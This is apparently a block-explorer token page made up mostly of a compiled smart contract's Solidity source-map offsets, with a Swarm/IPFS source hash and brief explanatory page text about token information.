1;;;;;14174:9:0::1;7408:7:::0;7435:16;;;:7;:16;;;;;;14146:15:::1;:38:::0;14237:18:::1;:34:::0;14220:52:::1;::::0;:16:::1;:52::i;:::-;14199:73:::0;-1:-1:-1;14290:14:0;;14287:149:::1;;14332:9;::::0;14324:39:::1;::::0;-1:-1:-1;;;;;14332:9:0;;::::1;::::0;14324:39;::::1;;;::::0;14352:10;;14332:9:::1;14324:39:::0;14332:9;14324:39;14352:10;14332:9;14324:39;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;14419:1:0::1;14382:18;:38:::0;14287:149:::1;14131:316;14089:358;14462:27:::0;;:31;14459:356:::1;;14521:27:::0;;14509:9:::1;::::0;14521:31:::1;::::0;14551:1:::1;::::0;14521:31:::1;:::i;:::-;14509:43;;14567:14;14614:4;14584:18;:27;;;:34;;;;:::i;:::-;14567:51;;14633:14;14650:22;14667:4;14650:16;:22::i;:::-;14633:39:::0;-1:-1:-1;14691:13:0;;14687:70:::1;;14723:34;14736:9;14747;14723:12;:34::i;:::-;-1:-1:-1::0;;14802:1:0::1;14772:27:::0;:31;-1:-1:-1;14459:356:0::1;14832:16;::::0;::::1;::::0;;;::::1;6097:8:::0;:16;;-1:-1:-1;;6097:16:0;;;14033:823::o;12600:798::-;12693:28;;;;;;;;;12715:6;12693:28;;;;;;;;;12674:7;;12732:56;;;;-1:-1:-1;12758:18:0;;;;;;;;;12769:7;12758:18;;;;;;;;;12732:56;12835:21;;12800:23;;12859:3;;12826:30;;:6;:30;:::i;:::-;:36;;;;:::i;:::-;12800:62;;12873:16;12918:3;12901:8;:14;;;12892:6;:23;;;;:::i;:::-;:29;;;;:::i;:::-;12873:48;-1:-1:-1;12937:22:0;;12934:96;;13012:18;12974;:34;;;:56;;;;;;;:::i;:::-;;;;-1:-1:-1;;12934:96:0;13046:15;;13043:75;;13107:11;13076:18;:27;;;:42;;;;;;;:::i;:::-;;;;-1:-1:-1;;13043:75:0;13131:21;13155:32;13176:11;13155:18;:32;:::i;:::-;13216:4;13200:22;;;;:7;:22;;;;;:42;;13131:56;;-1:-1:-1;13131:56:0;;13200:22;;;:42;;13131:56;;13200:42;:::i;:::-;;;;-1:-1:-1;;13256:20:0;;13253:78;;13283:48;;1361:25:1;;;13307:4:0;;-1:-1:-1;;;;;13283:48:0;;;;;1349:2:1;1334:18;13283:48:0;;;;;;;13253:78;13364:25;13373:16;13364:6;:25;:::i;:::-;13356:34;12600:798;-1:-1:-1;;;;;;;;12600:798:0:o;13406:619::-;13571:16;;;13585:1;13571:16;;;;;;;;13470:7;;13515:21;;13470:7;;13571:16;;;;;;;;;;;;-1:-1:-1;13571:16:0;13547:40;;13616:4;13598;13603:1;13598:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13598:23:0;;;:7;;;;;;;;;;:23;;;;13642:6;;:13;;;-1:-1:-1;;;13642:13:0;;;;:6;;;;;:11;;:13;;;;;13598:7;;13642:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13632:4;13637:1;13632:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13632:23:0;;;:7;;;;;;;;;:23;13700:6;;13668:53;;13685:4;;13700:6;13709:11;13668:8;:53::i;:::-;13749:9;;13731:15;;:27;13723:36;;;;;;13772:6;;:187;;-1:-1:-1;;;13772:187:0;;-1:-1:-1;;;;;13772:6:0;;;;:57;;:187;;13844:11;;13772:6;;13886:4;;13913;;13933:15;;13772:187;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14002:14;13978:21;:38;;;;:::i;:::-;13970:47;13406:619;-1:-1:-1;;;;13406:619:0:o;14864:508::-;14977:6;;14945:53;;14962:4;;-1:-1:-1;;;;;14977:6:0;14986:11;14945:8;:53::i;:::-;15042:6;;15013:24;;-1:-1:-1;;;;;15042:6:0;:22;15073:9;15107:4;15127:11;15013:24;;15185:7;1080;1107:6;-1:-1:-1;;;;;1107:6:0;;1034:87;15185:7;15207:15;15042:191;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;15011:222:0;-1:-1:-1;15289:1:0;;-1:-1:-1;15258:28:0;15011:222;15258:9;:28;:::i;:::-;:32;15254:110;;;15305:59;15335:28;15347:16;15335:9;:28;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;:::-;2094:5;1858:247;-1:-1:-1;;;1858:247:1:o;2552:180::-;2611:6;2664:2;2652:9;2643:7;2639:23;2635:32;2632:52;;;2680:1;2677;2670:12;2632:52;-1:-1:-1;2703:23:1;;2552:180;-1:-1:-1;2552:180:1:o;2737:383::-;2814:6;2822;2830;2883:2;2871:9;2862:7;2858:23;2854:32;2851:52;;;2899:1;2896;2889:12;2851:52;2935:9;2922:23;2912:33;;2992:2;2981:9;2977:18;2964:32;2954:42;;3046:2;3035:9;3031:18;3018:32;3059:31;3084:5;3059:31;:::i;:::-;3109:5;3099:15;;;2737:383;;;;;:::o;3333:388::-;3401:6;3409;3462:2;3450:9;3441:7;3437:23;3433:32;3430:52;;;3478:1;3475;3468:12;3430:52;3517:9;3504:23;3536:31;3561:5;3536:31;:::i;:::-;3586:5;-1:-1:-1;3643:2:1;3628:18;;3615:32;3656:33;3615:32;3656:33;:::i;:::-;3708:7;3698:17;;;3333:388;;;;;:::o;3949:356::-;4151:2;4133:21;;;4170:18;;;4163:30;4229:34;4224:2;4209:18;;4202:62;4296:2;4281:18;;3949:356::o;4310:251::-;4380:6;4433:2;4421:9;4412:7;4408:23;4404:32;4401:52;;;4449:1;4446;4439:12;4401:52;4481:9;4475:16;4500:31;4525:5;4500:31;:::i;4875:127::-;4936:10;4931:3;4927:20;4924:1;4917:31;4967:4;4964:1;4957:15;4991:4;4988:1;4981:15;5007:128;5074:9;;;5095:11;;;5092:37;;;5109:18;;:::i;5140:125::-;5205:9;;;5226:10;;;5223:36;;;5239:18;;:::i;5623:607::-;-1:-1:-1;;;;;5982:15:1;;;5964:34;;6029:2;6014:18;;6007:34;;;;6072:2;6057:18;;6050:34;;;;6115:2;6100:18;;6093:34;;;;6164:15;;;6158:3;6143:19;;6136:44;5944:3;6196:19;;6189:35;;;;5913:3;5898:19;;5623:607::o;6235:306::-;6323:6;6331;6339;6392:2;6380:9;6371:7;6367:23;6363:32;6360:52;;;6408:1;6405;6398:12;6360:52;6437:9;6431:16;6421:26;;6487:2;6476:9;6472:18;6466:25;6456:35;;6531:2;6520:9;6516:18;6510:25;6500:35;;6235:306;;;;;:::o;6926:277::-;6993:6;7046:2;7034:9;7025:7;7021:23;7017:32;7014:52;;;7062:1;7059;7052:12;7014:52;7094:9;7088:16;7147:5;7140:13;7133:21;7126:5;7123:32;7113:60;;7169:1;7166;7159:12;11803:217;11843:1;11869;11859:132;;11913:10;11908:3;11904:20;11901:1;11894:31;11948:4;11945:1;11938:15;11976:4;11973:1;11966:15;11859:132;-1:-1:-1;12005:9:1;;11803:217::o;12025:168::-;12098:9;;;12129;;12146:15;;;12140:22;;12126:37;12116:71;;12167:18;;:::i;12330:127::-;12391:10;12386:3;12382:20;12379:1;12372:31;12422:4;12419:1;12412:15;12446:4;12443:1;12436:15;12462:980;12724:4;12772:3;12761:9;12757:19;12803:6;12792:9;12785:25;12829:2;12867:6;12862:2;12851:9;12847:18;12840:34;12910:3;12905:2;12894:9;12890:18;12883:31;12934:6;12969;12963:13;13000:6;12992;12985:22;13038:3;13027:9;13023:19;13016:26;;13077:2;13069:6;13065:15;13051:29;;13098:1;13108:195;13122:6;13119:1;13116:13;13108:195;;;13187:13;;-1:-1:-1;;;;;13183:39:1;13171:52;;13278:15;;;;13243:12;;;;13219:1;13137:9;13108:195;;;-1:-1:-1;;;;;;;13359:32:1;;;;13354:2;13339:18;;13332:60;-1:-1:-1;;;13423:3:1;13408:19;13401:35;13320:3;12462:980;-1:-1:-1;;;12462:980:1:o
Swarm Source
ipfs://5453c1780db27bc94c75d3ba489f37db8d1f8c2f581c2eb693ebb6c568b89309
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.